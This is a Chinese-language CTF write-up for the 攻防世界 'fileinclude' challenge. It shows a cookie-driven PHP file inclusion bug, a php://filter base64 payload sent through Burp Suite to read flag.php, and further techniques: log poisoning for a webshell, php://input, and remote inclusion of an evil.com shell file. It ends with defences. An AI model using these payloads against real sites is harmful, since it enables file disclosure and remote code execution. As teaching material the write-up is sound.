攻防世界 fileinclude漏洞实战:从发现到利用的完整指南
1. 初识File Include一个“万能钥匙”的漏洞大家好我是老张在安全圈摸爬滚打十来年今天想和大家聊聊一个在Web安全里既经典又“好玩”的漏洞——文件包含。咱们就拿“攻防世界”这个CTF平台上的经典题目fileinclude来当例子手把手带你走一遍从发现到利用的全过程。你完全不用担心自己是小白我会用最直白的话把每一步掰开揉碎了讲清楚。文件包含漏洞你可以把它想象成网站代码里一个“不设防的传送门”。正常情况下这个传送门只能把网站自己家里的文件比如header.php,footer.php传送过来拼接到网页里显示。但问题出在如果开发人员写代码时偷了个懒没对这个传送门的“目的地”做严格的检查那么攻击者就有可能告诉这个传送门“嘿别传家里的文件了去把我指定的那个秘密文件传过来” 这个秘密文件很可能就是存放着网站最高权限密码的配置文件或者像我们这道题里的flag.php。为什么说它“好玩”呢因为利用这个漏洞往往不需要很高深的编程技巧更多考验的是你的观察力、对Web运行机制的理解以及一点点“脑筋急转弯”的能力。在CTF比赛或者渗透测试中文件包含漏洞常常是打开突破口的第一把钥匙。接下来我们就一起化身“侦探”看看怎么找到并利用这把钥匙。2. 环境侦察与代码审计发现漏洞的蛛丝马迹2.1 打开题目第一眼观察按照惯例我们首先访问题目给出的环境地址。打开页面后你可能会看到一个非常简单的网站或许有个语言选择的选项或者就是一段普通的文字。fileinclude这道题最初给人的感觉就是“平平无奇”页面上除了提示flag在flag.php文件里以及当前文件路径是/var/www/html/index.php之外好像没什么特别。很多新手朋友到这一步就卡住了尝试在网址后面直接输入index.php?fileflag.php或者类似的参数发现页面没反应就以为没戏了。这里我要强调一个非常重要的习惯永远不要只看页面渲染出来的内容一定要查看网页的源代码。在浏览器里按CtrlU或者右键选择“查看网页源代码”这才是我们侦探工作的真正开始。2.2 深入代码揪出关键变量当我们查看源代码时目光要像扫描仪一样寻找那些与“包含”、“加载”、“引入”文件相关的函数。在PHP中这些函数主要有四个include(),require(),include_once(),require_once()。它们的功能类似都是把指定文件的内容插入并执行。在fileinclude这道题的源代码里我们很快会发现类似下面这样的关键代码原题代码的简化版?php $lan $_COOKIE[language]; if ($lan) { include($lan . .php); } else { // 默认包含某个文件 } ?这段代码就是漏洞的根源我们来逐行分析一下$lan $_COOKIE[language];这行代码从用户浏览器的Cookie中读取一个名为language的值并赋值给变量$lan。这意味着网站的语言选择功能是通过Cookie来控制的而不是我们常见的GET参数像?langenglish。include($lan . .php);这行代码使用include()函数去包含一个文件。这个文件的名称由变量$lan和固定的字符串.php拼接而成。符号的作用是抑制错误信息输出即使包含文件失败页面也不会显示明显的报错这增加了漏洞的隐蔽性。漏洞点就在这里程序完全信任了来自用户Cookie的$lan变量直接把它拼接到文件路径中然后毫无防备地执行了include。想象一下如果用户传入的$lan不是english或chinese而是一段精心构造的路径会发生什么程序会傻傻地去包含那个路径的文件这就是典型的“文件包含漏洞”。3. 理解php://filter伪协议我们的核心武器发现了漏洞点我们怎么利用它去读取flag.php呢直接让include包含flag.php行不行在本题中由于代码拼接了.php直接包含flag.php会导致程序去找flag.php.php这个不存在的文件。而且即使能包含成功include函数会执行被包含文件中的PHP代码。如果flag.php里直接写着?php $flagxxx; ?那么这段代码执行后$flag变量只是在服务器内存里我们作为访问者在页面上是看不到它的。这时候我们就需要请出文件包含漏洞利用中一个“神器”级别的工具——php://filter伪协议。别被“协议”这个词吓到你可以把它理解为PHP提供的一种特殊“包装器”或“过滤器”它能让我们以不同的“处理方式”来读取或写入数据流。3.1 伪协议能做什么php://filter最常用的功能就是读取文件内容并且避免文件中的PHP代码被执行。它是怎么做到的呢通过“过滤器”。我们可以指定一个过滤器比如convert.base64-encode让PHP在读取目标文件后不执行它而是把它的所有内容包括PHP代码本身都进行Base64编码然后将编码后的文本输出。这样一来flag.php这个文件对于include函数来说就不再是一段要执行的代码而是一段普通的、经过Base64编码的文本数据。这段文本数据会被直接“回显”到网页上我们就能看到了。拿到Base64编码的字符串后我们只需要简单地解码就能得到文件的原始内容包括藏在里面的flag。3.2 构造Payload的通用公式php://filter的用法有一个固定的格式我们可以把它记成一个公式php://filter/read过滤器链/resource目标文件绝对路径read指定读取时使用的过滤器。过滤器链可以是一个或多个过滤器用|管道符连接表示数据依次通过这些过滤器处理。最常用的就是convert.base64-encode。resource后面跟上我们想读取的文件的绝对路径。对于这道题我们已知flag.php的绝对路径是/var/www/html/flag.php通常Web根目录下的文件路径可以这样推断。那么我们的Payload雏形就是php://filter/readconvert.base64-encode/resource/var/www/html/flag.php但是别忘了我们漏洞代码的拼接逻辑include($lan . “.php”)。我们的Payload传入后会被拼接上.php。所以我们不能直接让$lan等于上面的完整Payload否则会变成include(“php://filter/...flag.php.php”)又错了。我们需要巧妙地利用伪协议让它“吃掉”后面拼接的.php。这里有一个技巧在伪协议的路径末尾加上一个%00空字节截断在某些旧版本PHP中可行但现代PHP版本已修复。更通用的方法是我们构造的Payload本身就是一个完整的、有效的伪协议路径让后面拼接的.php变成这个路径中一个无意义的、被忽略的部分。实际上php://filter在读取到resource指定的文件后后面的内容就不再关心了。因此我们最终的Payload确定为php://filter/readconvert.base64-encode/resource/var/www/html/flag注意这里resource参数里我们写的是/var/www/html/flag没有.php。当程序执行include(“php://filter/.../flag” . “.php”)时它尝试包含的文件路径是php://filter/.../flag.php这正好指向了我们想要的flag.php文件这就是构造Payload的精妙之处。4. 实战利用使用Burp Suite精准投递Payload理论准备就绪接下来就是实战操作。由于漏洞是通过Cookie触发的我们无法直接在浏览器地址栏修改这就需要用到专业工具——Burp Suite。别担心我们只用它最基础的抓包改包功能。4.1 配置Burp Suite与浏览器代理首先确保你的Burp Suite社区版已经运行。在Proxy-Options选项卡中确认代理监听器通常为127.0.0.1:8080是开启的。 然后配置你的浏览器以Chrome为例使用SwitchyOmega插件或系统设置的HTTP代理为127.0.0.1端口8080。 回到Burp Suite打开Proxy-Intercept选项卡确保Intercept is on按钮是按下状态这表示Burp会拦截经过它的所有HTTP请求。4.2 抓取请求并修改Cookie现在在浏览器中访问或刷新fileinclude题目的页面。此时浏览器的请求会被Burp Suite截获你会看到类似如下的请求报文GET /index.php HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0... Accept: text/html,application/xhtmlxml... Cookie: languageenglish; other_cookievalue Connection: close我们的目标就是Cookie这一行。它当前是languageenglish这正是网站默认的语言设置。在Burp Suite的拦截界面我们直接将Cookie的值修改为我们精心构造的Payloadlanguagephp://filter/readconvert.base64-encode/resource/var/www/html/flag修改后整个Cookie头应该看起来像Cookie: languagephp://filter/readconvert.base64-encode/resource/var/www/html/flag; other_cookievalue4.3 发送请求并获取结果修改无误后点击Forward按钮放行这个被我们篡改过的请求。随后你可以在Proxy-HTTP history选项卡中找到这次请求的记录查看服务器的响应Response。正常情况下服务器的响应体Response body里原本是网页HTML代码的地方会出现一大串由字母、数字、、/、组成的杂乱字符串例如PD9waHAgCiRmbGFnPSJjeWJlcnBlYWNle2FiYzEyM2VkNDU2fSI7Cj8Cg这串看起来像乱码的东西就是我们梦寐以求的、经过Base64编码后的flag.php文件内容它可能混杂在HTML代码中你需要仔细找找通常就在页面主体部分的开头。4.4 解码获取Flag最后一步就是将这串Base64编码解码。你可以使用在线的Base64解码工具或者在Linux终端、Python里直接解码。这里用Linux命令演示一下echo PD9waHAgCiRmbGFnPSJjeWJlcnBlYWNle2FiYzEyM2VkNDU2fSI7Cj8Cg | base64 -d解码后的输出会是?php $flagcyberpeace{abc123ed456}; ?恭喜你花括号{}里面的字符串cyberpeace{abc123ed456}就是本题的Flag。将其提交到攻防世界平台这道fileinclude题目就成功攻克了。5. 漏洞的深入利用与防御思考通过上面这个实例我们完成了一次标准的文件包含漏洞利用。但在实际的安全测试中情况可能更复杂利用方式也更多样。5.1 利用方式的延伸包含日志文件获取Shell如果服务器权限配置不当我们能包含Web服务器的访问日志如/var/log/apache2/access.log。我们可以在User-Agent或请求参数中插入一段PHP代码这段代码会被记录到日志文件里。然后利用文件包含漏洞去包含这个日志文件其中的PHP代码就会被执行从而在服务器上建立一个WebShell。包含Session文件PHP的Session文件通常存储在/tmp或特定目录文件名与用户Session ID相关。如果Session文件中存储了用户可控的数据在某些情况下也可能成为注入代码的途径。利用php://input执行代码除了php://filterphp://input伪协议可以读取POST请求的原始数据。如果allow_url_include配置为开启我们可以通过包含php://input并在POST body中直接写入PHP代码来执行。远程文件包含RFI这是文件包含漏洞的“完全体”。如果allow_url_fopen和allow_url_include同时开启且包含的路径参数用户完全可控攻击者可以直接包含一个远程服务器上的恶意PHP文件如http://evil.com/shell.txt让目标服务器执行危害极大。5.2 如何防御文件包含漏洞作为开发者了解漏洞如何产生才能更好地防御。核心原则就是永远不要信任用户的输入。白名单校验这是最有效的方法。如果只需要包含少数几个固定文件如en.php,zh.php就维护一个允许的文件名列表。用户传入的参数必须严格匹配列表中的值。$allowed_langs [english, chinese, french]; $lan $_COOKIE[language]; if (in_array($lan, $allowed_langs)) { include($lan . .php); } else { include(default.php); }过滤目录遍历字符如果必须允许动态包含务必过滤掉../,..\,%00等可能用于目录穿越的字符。设置文件包含的基目录使用open_basedir配置指令将PHP能操作的文件限制在指定的目录树内可以有效防止攻击者包含系统敏感文件。关闭危险配置在生产环境中务必确保php.ini中的allow_url_fopen和allow_url_include设置为Off杜绝远程文件包含的可能。使用安全的包含函数尽量避免直接使用变量进行包含。如果可能使用固定的文件映射关系。文件包含漏洞就像一扇忘记上锁的后门攻击者一旦发现就能长驱直入。通过这道fileinclude题目的实战我们不仅学习了一个具体的技巧更重要的是建立起“代码审计-定位漏洞-构造利用”的完整思维链条。在CTF中这能帮你拿分在真实的安全工作中这能帮你更好地理解风险构建更稳固的防御。安全之路始于对细节的洞察希望这次分享能成为你路上的一块有用的垫脚石。